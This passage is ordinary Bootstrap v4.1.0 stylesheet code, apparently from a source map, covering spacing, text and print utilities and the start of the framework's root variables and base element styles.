}\n  .pb-sm-3,\n  .py-sm-3 {\n    padding-bottom: 1rem !important;\n  }\n  .pl-sm-3,\n  .px-sm-3 {\n    padding-left: 1rem !important;\n  }\n  .p-sm-4 {\n    padding: 1.5rem !important;\n  }\n  .pt-sm-4,\n  .py-sm-4 {\n    padding-top: 1.5rem !important;\n  }\n  .pr-sm-4,\n  .px-sm-4 {\n    padding-right: 1.5rem !important;\n  }\n  .pb-sm-4,\n  .py-sm-4 {\n    padding-bottom: 1.5rem !important;\n  }\n  .pl-sm-4,\n  .px-sm-4 {\n    padding-left: 1.5rem !important;\n  }\n  .p-sm-5 {\n    padding: 3rem !important;\n  }\n  .pt-sm-5,\n  .py-sm-5 {\n    padding-top: 3rem !important;\n  }\n  .pr-sm-5,\n  .px-sm-5 {\n    padding-right: 3rem !important;\n  }\n  .pb-sm-5,\n  .py-sm-5 {\n    padding-bottom: 3rem !important;\n  }\n  .pl-sm-5,\n  .px-sm-5 {\n    padding-left: 3rem !important;\n  }\n  .m-sm-auto {\n    margin: auto !important;\n  }\n  .mt-sm-auto,\n  .my-sm-auto {\n    margin-top: auto !important;\n  }\n  .mr-sm-auto,\n  .mx-sm-auto {\n    margin-right: auto !important;\n  }\n  .mb-sm-auto,\n  .my-sm-auto {\n    margin-bottom: auto !important;\n  }\n  .ml-sm-auto,\n  .mx-sm-auto {\n    margin-left: auto !important;\n  }\n}\n\n@media (min-width: 768px) {\n  .m-md-0 {\n    margin: 0 !important;\n  }\n  .mt-md-0,\n  .my-md-0 {\n    margin-top: 0 !important;\n  }\n  .mr-md-0,\n  .mx-md-0 {\n    margin-right: 0 !important;\n  }\n  .mb-md-0,\n  .my-md-0 {\n    margin-bottom: 0 !important;\n  }\n  .ml-md-0,\n  .mx-md-0 {\n    margin-left: 0 !important;\n  }\n  .m-md-1 {\n    margin: 0.25rem !important;\n  }\n  .mt-md-1,\n  .my-md-1 {\n    margin-top: 0.25rem !important;\n  }\n  .mr-md-1,\n  .mx-md-1 {\n    margin-right: 0.25rem !important;\n  }\n  .mb-md-1,\n  .my-md-1 {\n    margin-bottom: 0.25rem !important;\n  }\n  .ml-md-1,\n  .mx-md-1 {\n    margin-left: 0.25rem !important;\n  }\n  .m-md-2 {\n    margin: 0.5rem !important;\n  }\n  .mt-md-2,\n  .my-md-2 {\n    margin-top: 0.5rem !important;\n  }\n  .mr-md-2,\n  .mx-md-2 {\n    margin-right: 0.5rem !important;\n  }\n  .mb-md-2,\n  .my-md-2 {\n    margin-bottom: 0.5rem !important;\n  }\n  .ml-md-2,\n  .mx-md-2 {\n    margin-left: 0.5rem !important;\n  }\n  .m-md-3 {\n    margin: 1rem !important;\n  }\n  .mt-md-3,\n  .my-md-3 {\n    margin-top: 1rem !important;\n  }\n  .mr-md-3,\n  .mx-md-3 {\n    margin-right: 1rem !important;\n  }\n  .mb-md-3,\n  .my-md-3 {\n    margin-bottom: 1rem !important;\n  }\n  .ml-md-3,\n  .mx-md-3 {\n    margin-left: 1rem !important;\n  }\n  .m-md-4 {\n    margin: 1.5rem !important;\n  }\n  .mt-md-4,\n  .my-md-4 {\n    margin-top: 1.5rem !important;\n  }\n  .mr-md-4,\n  .mx-md-4 {\n    margin-right: 1.5rem !important;\n  }\n  .mb-md-4,\n  .my-md-4 {\n    margin-bottom: 1.5rem !important;\n  }\n  .ml-md-4,\n  .mx-md-4 {\n    margin-left: 1.5rem !important;\n  }\n  .m-md-5 {\n    margin: 3rem !important;\n  }\n  .mt-md-5,\n  .my-md-5 {\n    margin-top: 3rem !important;\n  }\n  .mr-md-5,\n  .mx-md-5 {\n    margin-right: 3rem !important;\n  }\n  .mb-md-5,\n  .my-md-5 {\n    margin-bottom: 3rem !important;\n  }\n  .ml-md-5,\n  .mx-md-5 {\n    margin-left: 3rem !important;\n  }\n  .p-md-0 {\n    padding: 0 !important;\n  }\n  .pt-md-0,\n  .py-md-0 {\n    padding-top: 0 !important;\n  }\n  .pr-md-0,\n  .px-md-0 {\n    padding-right: 0 !important;\n  }\n  .pb-md-0,\n  .py-md-0 {\n    padding-bottom: 0 !important;\n  }\n  .pl-md-0,\n  .px-md-0 {\n    padding-left: 0 !important;\n  }\n  .p-md-1 {\n    padding: 0.25rem !important;\n  }\n  .pt-md-1,\n  .py-md-1 {\n    padding-top: 0.25rem !important;\n  }\n  .pr-md-1,\n  .px-md-1 {\n    padding-right: 0.25rem !important;\n  }\n  .pb-md-1,\n  .py-md-1 {\n    padding-bottom: 0.25rem !important;\n  }\n  .pl-md-1,\n  .px-md-1 {\n    padding-left: 0.25rem !important;\n  }\n  .p-md-2 {\n    padding: 0.5rem !important;\n  }\n  .pt-md-2,\n  .py-md-2 {\n    padding-top: 0.5rem !important;\n  }\n  .pr-md-2,\n  .px-md-2 {\n    padding-right: 0.5rem !important;\n  }\n  .pb-md-2,\n  .py-md-2 {\n    padding-bottom: 0.5rem !important;\n  }\n  .pl-md-2,\n  .px-md-2 {\n    padding-left: 0.5rem !important;\n  }\n  .p-md-3 {\n    padding: 1rem !important;\n  }\n  .pt-md-3,\n  .py-md-3 {\n    padding-top: 1rem !important;\n  }\n  .pr-md-3,\n  .px-md-3 {\n    padding-right: 1rem !important;\n  }\n  .pb-md-3,\n  .py-md-3 {\n    padding-bottom: 1rem !important;\n  }\n  .pl-md-3,\n  .px-md-3 {\n    padding-left: 1rem !important;\n  }\n  .p-md-4 {\n    padding: 1.5rem !important;\n  }\n  .pt-md-4,\n  .py-md-4 {\n    padding-top: 1.5rem !important;\n  }\n  .pr-md-4,\n  .px-md-4 {\n    padding-right: 1.5rem !important;\n  }\n  .pb-md-4,\n  .py-md-4 {\n    padding-bottom: 1.5rem !important;\n  }\n  .pl-md-4,\n  .px-md-4 {\n    padding-left: 1.5rem !important;\n  }\n  .p-md-5 {\n    padding: 3rem !important;\n  }\n  .pt-md-5,\n  .py-md-5 {\n    padding-top: 3rem !important;\n  }\n  .pr-md-5,\n  .px-md-5 {\n    padding-right: 3rem !important;\n  }\n  .pb-md-5,\n  .py-md-5 {\n    padding-bottom: 3rem !important;\n  }\n  .pl-md-5,\n  .px-md-5 {\n    padding-left: 3rem !important;\n  }\n  .m-md-auto {\n    margin: auto !important;\n  }\n  .mt-md-auto,\n  .my-md-auto {\n    margin-top: auto !important;\n  }\n  .mr-md-auto,\n  .mx-md-auto {\n    margin-right: auto !important;\n  }\n  .mb-md-auto,\n  .my-md-auto {\n    margin-bottom: auto !important;\n  }\n  .ml-md-auto,\n  .mx-md-auto {\n    margin-left: auto !important;\n  }\n}\n\n@media (min-width: 992px) {\n  .m-lg-0 {\n    margin: 0 !important;\n  }\n  .mt-lg-0,\n  .my-lg-0 {\n    margin-top: 0 !important;\n  }\n  .mr-lg-0,\n  .mx-lg-0 {\n    margin-right: 0 !important;\n  }\n  .mb-lg-0,\n  .my-lg-0 {\n    margin-bottom: 0 !important;\n  }\n  .ml-lg-0,\n  .mx-lg-0 {\n    margin-left: 0 !important;\n  }\n  .m-lg-1 {\n    margin: 0.25rem !important;\n  }\n  .mt-lg-1,\n  .my-lg-1 {\n    margin-top: 0.25rem !important;\n  }\n  .mr-lg-1,\n  .mx-lg-1 {\n    margin-right: 0.25rem !important;\n  }\n  .mb-lg-1,\n  .my-lg-1 {\n    margin-bottom: 0.25rem !important;\n  }\n  .ml-lg-1,\n  .mx-lg-1 {\n    margin-left: 0.25rem !important;\n  }\n  .m-lg-2 {\n    margin: 0.5rem !important;\n  }\n  .mt-lg-2,\n  .my-lg-2 {\n    margin-top: 0.5rem !important;\n  }\n  .mr-lg-2,\n  .mx-lg-2 {\n    margin-right: 0.5rem !important;\n  }\n  .mb-lg-2,\n  .my-lg-2 {\n    margin-bottom: 0.5rem !important;\n  }\n  .ml-lg-2,\n  .mx-lg-2 {\n    margin-left: 0.5rem !important;\n  }\n  .m-lg-3 {\n    margin: 1rem !important;\n  }\n  .mt-lg-3,\n  .my-lg-3 {\n    margin-top: 1rem !important;\n  }\n  .mr-lg-3,\n  .mx-lg-3 {\n    margin-right: 1rem !important;\n  }\n  .mb-lg-3,\n  .my-lg-3 {\n    margin-bottom: 1rem !important;\n  }\n  .ml-lg-3,\n  .mx-lg-3 {\n    margin-left: 1rem !important;\n  }\n  .m-lg-4 {\n    margin: 1.5rem !important;\n  }\n  .mt-lg-4,\n  .my-lg-4 {\n    margin-top: 1.5rem !important;\n  }\n  .mr-lg-4,\n  .mx-lg-4 {\n    margin-right: 1.5rem !important;\n  }\n  .mb-lg-4,\n  .my-lg-4 {\n    margin-bottom: 1.5rem !important;\n  }\n  .ml-lg-4,\n  .mx-lg-4 {\n    margin-left: 1.5rem !important;\n  }\n  .m-lg-5 {\n    margin: 3rem !important;\n  }\n  .mt-lg-5,\n  .my-lg-5 {\n    margin-top: 3rem !important;\n  }\n  .mr-lg-5,\n  .mx-lg-5 {\n    margin-right: 3rem !important;\n  }\n  .mb-lg-5,\n  .my-lg-5 {\n    margin-bottom: 3rem !important;\n  }\n  .ml-lg-5,\n  .mx-lg-5 {\n    margin-left: 3rem !important;\n  }\n  .p-lg-0 {\n    padding: 0 !important;\n  }\n  .pt-lg-0,\n  .py-lg-0 {\n    padding-top: 0 !important;\n  }\n  .pr-lg-0,\n  .px-lg-0 {\n    padding-right: 0 !important;\n  }\n  .pb-lg-0,\n  .py-lg-0 {\n    padding-bottom: 0 !important;\n  }\n  .pl-lg-0,\n  .px-lg-0 {\n    padding-left: 0 !important;\n  }\n  .p-lg-1 {\n    padding: 0.25rem !important;\n  }\n  .pt-lg-1,\n  .py-lg-1 {\n    padding-top: 0.25rem !important;\n  }\n  .pr-lg-1,\n  .px-lg-1 {\n    padding-right: 0.25rem !important;\n  }\n  .pb-lg-1,\n  .py-lg-1 {\n    padding-bottom: 0.25rem !important;\n  }\n  .pl-lg-1,\n  .px-lg-1 {\n    padding-left: 0.25rem !important;\n  }\n  .p-lg-2 {\n    padding: 0.5rem !important;\n  }\n  .pt-lg-2,\n  .py-lg-2 {\n    padding-top: 0.5rem !important;\n  }\n  .pr-lg-2,\n  .px-lg-2 {\n    padding-right: 0.5rem !important;\n  }\n  .pb-lg-2,\n  .py-lg-2 {\n    padding-bottom: 0.5rem !important;\n  }\n  .pl-lg-2,\n  .px-lg-2 {\n    padding-left: 0.5rem !important;\n  }\n  .p-lg-3 {\n    padding: 1rem !important;\n  }\n  .pt-lg-3,\n  .py-lg-3 {\n    padding-top: 1rem !important;\n  }\n  .pr-lg-3,\n  .px-lg-3 {\n    padding-right: 1rem !important;\n  }\n  .pb-lg-3,\n  .py-lg-3 {\n    padding-bottom: 1rem !important;\n  }\n  .pl-lg-3,\n  .px-lg-3 {\n    padding-left: 1rem !important;\n  }\n  .p-lg-4 {\n    padding: 1.5rem !important;\n  }\n  .pt-lg-4,\n  .py-lg-4 {\n    padding-top: 1.5rem !important;\n  }\n  .pr-lg-4,\n  .px-lg-4 {\n    padding-right: 1.5rem !important;\n  }\n  .pb-lg-4,\n  .py-lg-4 {\n    padding-bottom: 1.5rem !important;\n  }\n  .pl-lg-4,\n  .px-lg-4 {\n    padding-left: 1.5rem !important;\n  }\n  .p-lg-5 {\n    padding: 3rem !important;\n  }\n  .pt-lg-5,\n  .py-lg-5 {\n    padding-top: 3rem !important;\n  }\n  .pr-lg-5,\n  .px-lg-5 {\n    padding-right: 3rem !important;\n  }\n  .pb-lg-5,\n  .py-lg-5 {\n    padding-bottom: 3rem !important;\n  }\n  .pl-lg-5,\n  .px-lg-5 {\n    padding-left: 3rem !important;\n  }\n  .m-lg-auto {\n    margin: auto !important;\n  }\n  .mt-lg-auto,\n  .my-lg-auto {\n    margin-top: auto !important;\n  }\n  .mr-lg-auto,\n  .mx-lg-auto {\n    margin-right: auto !important;\n  }\n  .mb-lg-auto,\n  .my-lg-auto {\n    margin-bottom: auto !important;\n  }\n  .ml-lg-auto,\n  .mx-lg-auto {\n    margin-left: auto !important;\n  }\n}\n\n@media (min-width: 1200px) {\n  .m-xl-0 {\n    margin: 0 !important;\n  }\n  .mt-xl-0,\n  .my-xl-0 {\n    margin-top: 0 !important;\n  }\n  .mr-xl-0,\n  .mx-xl-0 {\n    margin-right: 0 !important;\n  }\n  .mb-xl-0,\n  .my-xl-0 {\n    margin-bottom: 0 !important;\n  }\n  .ml-xl-0,\n  .mx-xl-0 {\n    margin-left: 0 !important;\n  }\n  .m-xl-1 {\n    margin: 0.25rem !important;\n  }\n  .mt-xl-1,\n  .my-xl-1 {\n    margin-top: 0.25rem !important;\n  }\n  .mr-xl-1,\n  .mx-xl-1 {\n    margin-right: 0.25rem !important;\n  }\n  .mb-xl-1,\n  .my-xl-1 {\n    margin-bottom: 0.25rem !important;\n  }\n  .ml-xl-1,\n  .mx-xl-1 {\n    margin-left: 0.25rem !important;\n  }\n  .m-xl-2 {\n    margin: 0.5rem !important;\n  }\n  .mt-xl-2,\n  .my-xl-2 {\n    margin-top: 0.5rem !important;\n  }\n  .mr-xl-2,\n  .mx-xl-2 {\n    margin-right: 0.5rem !important;\n  }\n  .mb-xl-2,\n  .my-xl-2 {\n    margin-bottom: 0.5rem !important;\n  }\n  .ml-xl-2,\n  .mx-xl-2 {\n    margin-left: 0.5rem !important;\n  }\n  .m-xl-3 {\n    margin: 1rem !important;\n  }\n  .mt-xl-3,\n  .my-xl-3 {\n    margin-top: 1rem !important;\n  }\n  .mr-xl-3,\n  .mx-xl-3 {\n    margin-right: 1rem !important;\n  }\n  .mb-xl-3,\n  .my-xl-3 {\n    margin-bottom: 1rem !important;\n  }\n  .ml-xl-3,\n  .mx-xl-3 {\n    margin-left: 1rem !important;\n  }\n  .m-xl-4 {\n    margin: 1.5rem !important;\n  }\n  .mt-xl-4,\n  .my-xl-4 {\n    margin-top: 1.5rem !important;\n  }\n  .mr-xl-4,\n  .mx-xl-4 {\n    margin-right: 1.5rem !important;\n  }\n  .mb-xl-4,\n  .my-xl-4 {\n    margin-bottom: 1.5rem !important;\n  }\n  .ml-xl-4,\n  .mx-xl-4 {\n    margin-left: 1.5rem !important;\n  }\n  .m-xl-5 {\n    margin: 3rem !important;\n  }\n  .mt-xl-5,\n  .my-xl-5 {\n    margin-top: 3rem !important;\n  }\n  .mr-xl-5,\n  .mx-xl-5 {\n    margin-right: 3rem !important;\n  }\n  .mb-xl-5,\n  .my-xl-5 {\n    margin-bottom: 3rem !important;\n  }\n  .ml-xl-5,\n  .mx-xl-5 {\n    margin-left: 3rem !important;\n  }\n  .p-xl-0 {\n    padding: 0 !important;\n  }\n  .pt-xl-0,\n  .py-xl-0 {\n    padding-top: 0 !important;\n  }\n  .pr-xl-0,\n  .px-xl-0 {\n    padding-right: 0 !important;\n  }\n  .pb-xl-0,\n  .py-xl-0 {\n    padding-bottom: 0 !important;\n  }\n  .pl-xl-0,\n  .px-xl-0 {\n    padding-left: 0 !important;\n  }\n  .p-xl-1 {\n    padding: 0.25rem !important;\n  }\n  .pt-xl-1,\n  .py-xl-1 {\n    padding-top: 0.25rem !important;\n  }\n  .pr-xl-1,\n  .px-xl-1 {\n    padding-right: 0.25rem !important;\n  }\n  .pb-xl-1,\n  .py-xl-1 {\n    padding-bottom: 0.25rem !important;\n  }\n  .pl-xl-1,\n  .px-xl-1 {\n    padding-left: 0.25rem !important;\n  }\n  .p-xl-2 {\n    padding: 0.5rem !important;\n  }\n  .pt-xl-2,\n  .py-xl-2 {\n    padding-top: 0.5rem !important;\n  }\n  .pr-xl-2,\n  .px-xl-2 {\n    padding-right: 0.5rem !important;\n  }\n  .pb-xl-2,\n  .py-xl-2 {\n    padding-bottom: 0.5rem !important;\n  }\n  .pl-xl-2,\n  .px-xl-2 {\n    padding-left: 0.5rem !important;\n  }\n  .p-xl-3 {\n    padding: 1rem !important;\n  }\n  .pt-xl-3,\n  .py-xl-3 {\n    padding-top: 1rem !important;\n  }\n  .pr-xl-3,\n  .px-xl-3 {\n    padding-right: 1rem !important;\n  }\n  .pb-xl-3,\n  .py-xl-3 {\n    padding-bottom: 1rem !important;\n  }\n  .pl-xl-3,\n  .px-xl-3 {\n    padding-left: 1rem !important;\n  }\n  .p-xl-4 {\n    padding: 1.5rem !important;\n  }\n  .pt-xl-4,\n  .py-xl-4 {\n    padding-top: 1.5rem !important;\n  }\n  .pr-xl-4,\n  .px-xl-4 {\n    padding-right: 1.5rem !important;\n  }\n  .pb-xl-4,\n  .py-xl-4 {\n    padding-bottom: 1.5rem !important;\n  }\n  .pl-xl-4,\n  .px-xl-4 {\n    padding-left: 1.5rem !important;\n  }\n  .p-xl-5 {\n    padding: 3rem !important;\n  }\n  .pt-xl-5,\n  .py-xl-5 {\n    padding-top: 3rem !important;\n  }\n  .pr-xl-5,\n  .px-xl-5 {\n    padding-right: 3rem !important;\n  }\n  .pb-xl-5,\n  .py-xl-5 {\n    padding-bottom: 3rem !important;\n  }\n  .pl-xl-5,\n  .px-xl-5 {\n    padding-left: 3rem !important;\n  }\n  .m-xl-auto {\n    margin: auto !important;\n  }\n  .mt-xl-auto,\n  .my-xl-auto {\n    margin-top: auto !important;\n  }\n  .mr-xl-auto,\n  .mx-xl-auto {\n    margin-right: auto !important;\n  }\n  .mb-xl-auto,\n  .my-xl-auto {\n    margin-bottom: auto !important;\n  }\n  .ml-xl-auto,\n  .mx-xl-auto {\n    margin-left: auto !important;\n  }\n}\n\n.text-monospace {\n  font-family: SFMono-Regular, Menlo, Monaco, Consolas, \"Liberation Mono\", \"Courier New\", monospace;\n}\n\n.text-justify {\n  text-align: justify !important;\n}\n\n.text-nowrap {\n  white-space: nowrap !important;\n}\n\n.text-truncate {\n  overflow: hidden;\n  text-overflow: ellipsis;\n  white-space: nowrap;\n}\n\n.text-left {\n  text-align: left !important;\n}\n\n.text-right {\n  text-align: right !important;\n}\n\n.text-center {\n  text-align: center !important;\n}\n\n@media (min-width: 576px) {\n  .text-sm-left {\n    text-align: left !important;\n  }\n  .text-sm-right {\n    text-align: right !important;\n  }\n  .text-sm-center {\n    text-align: center !important;\n  }\n}\n\n@media (min-width: 768px) {\n  .text-md-left {\n    text-align: left !important;\n  }\n  .text-md-right {\n    text-align: right !important;\n  }\n  .text-md-center {\n    text-align: center !important;\n  }\n}\n\n@media (min-width: 992px) {\n  .text-lg-left {\n    text-align: left !important;\n  }\n  .text-lg-right {\n    text-align: right !important;\n  }\n  .text-lg-center {\n    text-align: center !important;\n  }\n}\n\n@media (min-width: 1200px) {\n  .text-xl-left {\n    text-align: left !important;\n  }\n  .text-xl-right {\n    text-align: right !important;\n  }\n  .text-xl-center {\n    text-align: center !important;\n  }\n}\n\n.text-lowercase {\n  text-transform: lowercase !important;\n}\n\n.text-uppercase {\n  text-transform: uppercase !important;\n}\n\n.text-capitalize {\n  text-transform: capitalize !important;\n}\n\n.font-weight-light {\n  font-weight: 300 !important;\n}\n\n.font-weight-normal {\n  font-weight: 400 !important;\n}\n\n.font-weight-bold {\n  font-weight: 700 !important;\n}\n\n.font-italic {\n  font-style: italic !important;\n}\n\n.text-white {\n  color: #fff !important;\n}\n\n.text-primary {\n  color: #007bff !important;\n}\n\na.text-primary:hover, a.text-primary:focus {\n  color: #0062cc !important;\n}\n\n.text-secondary {\n  color: #6c757d !important;\n}\n\na.text-secondary:hover, a.text-secondary:focus {\n  color: #545b62 !important;\n}\n\n.text-success {\n  color: #28a745 !important;\n}\n\na.text-success:hover, a.text-success:focus {\n  color: #1e7e34 !important;\n}\n\n.text-info {\n  color: #17a2b8 !important;\n}\n\na.text-info:hover, a.text-info:focus {\n  color: #117a8b !important;\n}\n\n.text-warning {\n  color: #ffc107 !important;\n}\n\na.text-warning:hover, a.text-warning:focus {\n  color: #d39e00 !important;\n}\n\n.text-danger {\n  color: #dc3545 !important;\n}\n\na.text-danger:hover, a.text-danger:focus {\n  color: #bd2130 !important;\n}\n\n.text-light {\n  color: #f8f9fa !important;\n}\n\na.text-light:hover, a.text-light:focus {\n  color: #dae0e5 !important;\n}\n\n.text-dark {\n  color: #343a40 !important;\n}\n\na.text-dark:hover, a.text-dark:focus {\n  color: #1d2124 !important;\n}\n\n.text-body {\n  color: #212529 !important;\n}\n\n.text-muted {\n  color: #6c757d !important;\n}\n\n.text-black-50 {\n  color: rgba(0, 0, 0, 0.5) !important;\n}\n\n.text-white-50 {\n  color: rgba(255, 255, 255, 0.5) !important;\n}\n\n.text-hide {\n  font: 0/0 a;\n  color: transparent;\n  text-shadow: none;\n  background-color: transparent;\n  border: 0;\n}\n\n.visible {\n  visibility: visible !important;\n}\n\n.invisible {\n  visibility: hidden !important;\n}\n\n@media print {\n  *,\n  *::before,\n  *::after {\n    text-shadow: none !important;\n    box-shadow: none !important;\n  }\n  a:not(.btn) {\n    text-decoration: underline;\n  }\n  abbr[title]::after {\n    content: \" (\" attr(title) \")\";\n  }\n  pre {\n    white-space: pre-wrap !important;\n  }\n  pre,\n  blockquote {\n    border: 1px solid #adb5bd;\n    page-break-inside: avoid;\n  }\n  thead {\n    display: table-header-group;\n  }\n  tr,\n  img {\n    page-break-inside: avoid;\n  }\n  p,\n  h2,\n  h3 {\n    orphans: 3;\n    widows: 3;\n  }\n  h2,\n  h3 {\n    page-break-after: avoid;\n  }\n  @page {\n    size: a3;\n  }\n  body {\n    min-width: 992px !important;\n  }\n  .container {\n    min-width: 992px !important;\n  }\n  .navbar {\n    display: none;\n  }\n  .badge {\n    border: 1px solid #000;\n  }\n  .table {\n    border-collapse: collapse !important;\n  }\n  .table td,\n  .table th {\n    background-color: #fff !important;\n  }\n  .table-bordered th,\n  .table-bordered td {\n    border: 1px solid #dee2e6 !important;\n  }\n}\n/*# sourceMappingURL=bootstrap.css.map */","/*!\n * Bootstrap v4.1.0 (https://getbootstrap.com/)\n * Copyright 2011-2018 The Bootstrap Authors\n * Copyright 2011-2018 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n */\n:root {\n  --blue: #007bff;\n  --indigo: #6610f2;\n  --purple: #6f42c1;\n  --pink: #e83e8c;\n  --red: #dc3545;\n  --orange: #fd7e14;\n  --yellow: #ffc107;\n  --green: #28a745;\n  --teal: #20c997;\n  --cyan: #17a2b8;\n  --white: #fff;\n  --gray: #6c757d;\n  --gray-dark: #343a40;\n  --primary: #007bff;\n  --secondary: #6c757d;\n  --success: #28a745;\n  --info: #17a2b8;\n  --warning: #ffc107;\n  --danger: #dc3545;\n  --light: #f8f9fa;\n  --dark: #343a40;\n  --breakpoint-xs: 0;\n  --breakpoint-sm: 576px;\n  --breakpoint-md: 768px;\n  --breakpoint-lg: 992px;\n  --breakpoint-xl: 1200px;\n  --font-family-sans-serif: -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, \"Helvetica Neue\", Arial, sans-serif, \"Apple Color Emoji\", \"Segoe UI Emoji\", \"Segoe UI Symbol\";\n  --font-family-monospace: SFMono-Regular, Menlo, Monaco, Consolas, \"Liberation Mono\", \"Courier New\", monospace;\n}\n\n*,\n*::before,\n*::after {\n  box-sizing: border-box;\n}\n\nhtml {\n  font-family: sans-serif;\n  line-height: 1.15;\n  -webkit-text-size-adjust: 100%;\n  -ms-text-size-adjust: 100%;\n  -ms-overflow-style: scrollbar;\n  -webkit-tap-highlight-color: transparent;\n}\n\n@-ms-viewport {\n  width: device-width;\n}\n\narticle, aside, dialog, figcaption, figure, footer, header, hgroup, main, nav, section {\n  display: block;\n}\n\nbody {\n  margin: 0;\n  font-family: -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, \"Helvetica Neue\", Arial, sans-serif, \"Apple Color Emoji\", \"Segoe UI Emoji\", \"Segoe UI Symbol\";\n  font-size: 1rem;\n  font-weight: 400;\n  line-height: 1.5;\n  color: #212529;\n  text-align: left;\n  background-color: #fff;\n}\n\n[tabindex=\"-1\"]:focus {\n  outline: 0 !important;\n}\n\nhr {\n  box-sizing: content-box;\n  height: 0;\n  overflow: visible;\n}\n\nh1, h2, h3, h4, h5, h6 {\n  margin-top: 0;\n  margin-bottom: 0.5rem;\n}\n\np {\n  margin-top: 0;\n  margin-bottom: 1rem;\n}\n\nabbr[title],\nabbr[data-original-title] {\n  text-decoration: underline;\n  text-decoration: underline dotted;\n  cursor: help;\n  border-bottom: 0;\n}\n\naddress {\n  margin-bottom: 1rem;\n  font-style: normal;\n  line-height: inherit;\n}\n\nol,\nul,\ndl {\n  margin-top: 0;\n  margin-bottom: 1rem;\n}\n\nol ol,\nul ul,\nol ul,\nul ol {\n  margin-bottom: 0;\n}\n\ndt {\n  font-weight: 700;\n}\n\ndd {\n  margin-bottom: .5rem;\n  margin-left: 0;\n}\n\nblockquote {\n  margin: 0 0 1rem;\n}\n\ndfn {\n  font-style: italic;\n}\n\nb,\nstrong {\n  font-weight: bolder;\n}\n\nsmall {\n  font-size: 80%;\n}\n\nsub,\nsup {\n  position: relative;\n  font-size: 75%;\n  line-height: 0;\n  vertical-align: baseline;\n}\n\nsub {\n  bottom: -.25em;\n}\n\nsup {\n  top: -.5em;\n}\n\na {\n  color: #007bff;\n  text-decoration: none;\n  background-color: transparent;\n  -webkit-text-decoration-skip: objects;\n}\n\na:hover {\n  color: #0056b3;\n  text-decoration: underline;\n}\n\na:not([href]):not([tabindex]) {\n  color: inherit;\n  text-decoration: none;\n}\n\na:not([href]):not([tabindex]):hover, a:not([href]):not([tabindex]):focus {\n  color: inherit;\n  text-decoration: none;\n}\n\na:not([href]):not([tabindex]):focus {\n  outline: 0;\n}\n\npre,\ncode,\nkbd,\nsamp {\n  font-family: monospace, monospace;\n  font-size: 1em;\n}\n\npre {\n  margin-top: 0;\n  margin-bottom: 1rem;\n  overflow: auto;\n  -ms-overflow-style: scrollbar;\n}\n\nfigure {\n  margin: 0 0 1rem;\n}\n\nimg {\n  vertical-align: middle;\n  border-style: none;\n}\n\nsvg:not(:root) {\n  overflow: hidden;\n}\n\ntable {\n  border-collapse: collapse;\n}\n\ncaption {\n  padding-top: 0.75rem;\n  padding-bottom: 0.75rem;\n  color: #6c757d;\n  text-align: left;\n  caption-side: bottom;\n}\n\nth {\n  text-align: inherit;\n}\n\nlabel {\n  display: inline-block;\n  margin-bottom: 0.5rem;\n}\n\nbutton {\n  border-radius: 0;\n}\n\nbutton:focus {\n  outline: 1px dotted;\n  outline: 5px auto -webkit-focus-ring-color;\n}\n\ninput,\nbutton,\nselect,\noptgroup,\ntextarea {\n  margin: 0;\n  font-family: inherit;\n  font-size: inherit;\n  line-height: inherit;\n}\n\nbutton,\ninput {\n  overflow: visible;\n}\n\nbutton,\nselect {\n  text-transform: none;\n}\n\nbutton,\nhtml [type=\"button\"],\n[type=\"reset\"],\n[type=\"submit\"] {\n  -webkit-appearance: button;\n}\n\nbutton::-moz-focus-inner,\n[type=\"button\"]::-moz-focus-inner,\n[type=\"reset\"]::-moz-focus-inner,\n[type=\"submit\"]::-moz-focus-inner {\n  padding: 0;\n  border-style: none;\n}\n\ninput[type=\"radio\"],\ninput[type=\"checkbox\"] {\n  box-sizing: border-box;\n  padding: 0;\n}\n\ninput[type=\"date\"],\ninput[type=\"time\"],\ninput[type=\"datetime-local\"],\ninput[type=\"month\"] {\n  -webkit-appearance: listbox;\n}\n\ntextarea {\n  overflow: auto;\n  resize: vertical;\n}\n\nfieldset {\n  min-width: 0;\n  padding: 0;\n  margin: 0;\n  border: 0;\n}\n\nlegend {\n  display: block;\n  width: 100%;\n  max-width: 100%;\n  padding: 0;\n  margin-bottom: .5rem;\n  font-size: 1.5rem;\n  line-height: inherit;\n  color: inherit;\n  white-space: normal;\n}\n\nprogress {\n  vertical-align: baseline;\n}\n\n[type=\"number\"]::-webkit-inner-spin-button,\n[type=\"number\"]::-webkit-outer-spin-button {\n  height: auto;\n}\n\n[type=\"search\"] {\n  outline-offset: -2px;\n  -webkit-appearance: none;\n}\n\n[type=\"search\"]::-webkit-search-cancel-button,\n[type=\"search\"]::-webkit-search-decoration {\n  -webkit-appearance: none;\n}\n\n::-webkit-file-upload-button {\n  font: inherit;\n  -webkit-appearance: button;\n}\n\noutput {\n  display: inline-block;\n}\n\nsummary {\n  display: list-item;\n  cursor: pointer;\n}\n\ntemplate {\n  display: none;\n}\n\n[hidden] {\n  display: none !important;\n}\n\nh1, h2, h3, h4, h5, h6,\n.h1, .h2, .h3, .h4, .h5, .h6 {\n  margin-bottom: 0.5rem;\n  font-family: inherit;\n  font-weight: 500;\n  line-height: 1.2;\n  color: inherit;\n}\n\nh1, .h1 {\n  font-size: 2.5rem;\n}\n\nh2, .h2 {\n  font-size: 2rem;\n}\n\nh3, .h3 {\n  font-size: 1.75rem;\n}\n\nh4, .h4 {\n  font-size: 1.5rem;\n}\n\nh5, .h5 {\n  font-size: 1.25rem;\n}\n\nh6, .h6 {\n  font-size: 1rem;\n}\n\n.lead {\n  font-size: 1.25rem;\n  font-weight: 300;\n}\n\n.display-1 {\n  font-size: 6rem;\n  font-weight: 300;\n  line-height: 1.2;\n}\n\n.display-2 {\n  font-size: 5.5rem;\n  font-weight: 300;\n  line-height: 1.2;\n}\n\n.display-3 {\n  font-size: 4.5rem;\n  font-weight: 300;\n  line-height: 1.2;\n}\n\n.display-4 {\n  font-size: 3.5rem;\n  font-weight: 300;\n  line-height: 1.2;\n}\n\nhr {\n  margin-top: 1rem;\n  margin-bottom: 1rem;\n  border: 0;\n  border-top: 1px solid rgba(0, 0, 0, 0.1);\n}\n\nsmall,\n.small {\n  font-size: 80%;\n  font-weight: 400;\n}\n\nmark,\n.mark {\n  padding: 0.2em;\n  background-color: #fcf8e3;\n}\n\n.list-unstyled {\n  padding-left: 0;\n  list-style: none;\n}\n\n.list-inline {\n  padding-left: 0;\n  list-style: none;\n}\n\n.list-inline-item {\n  display: 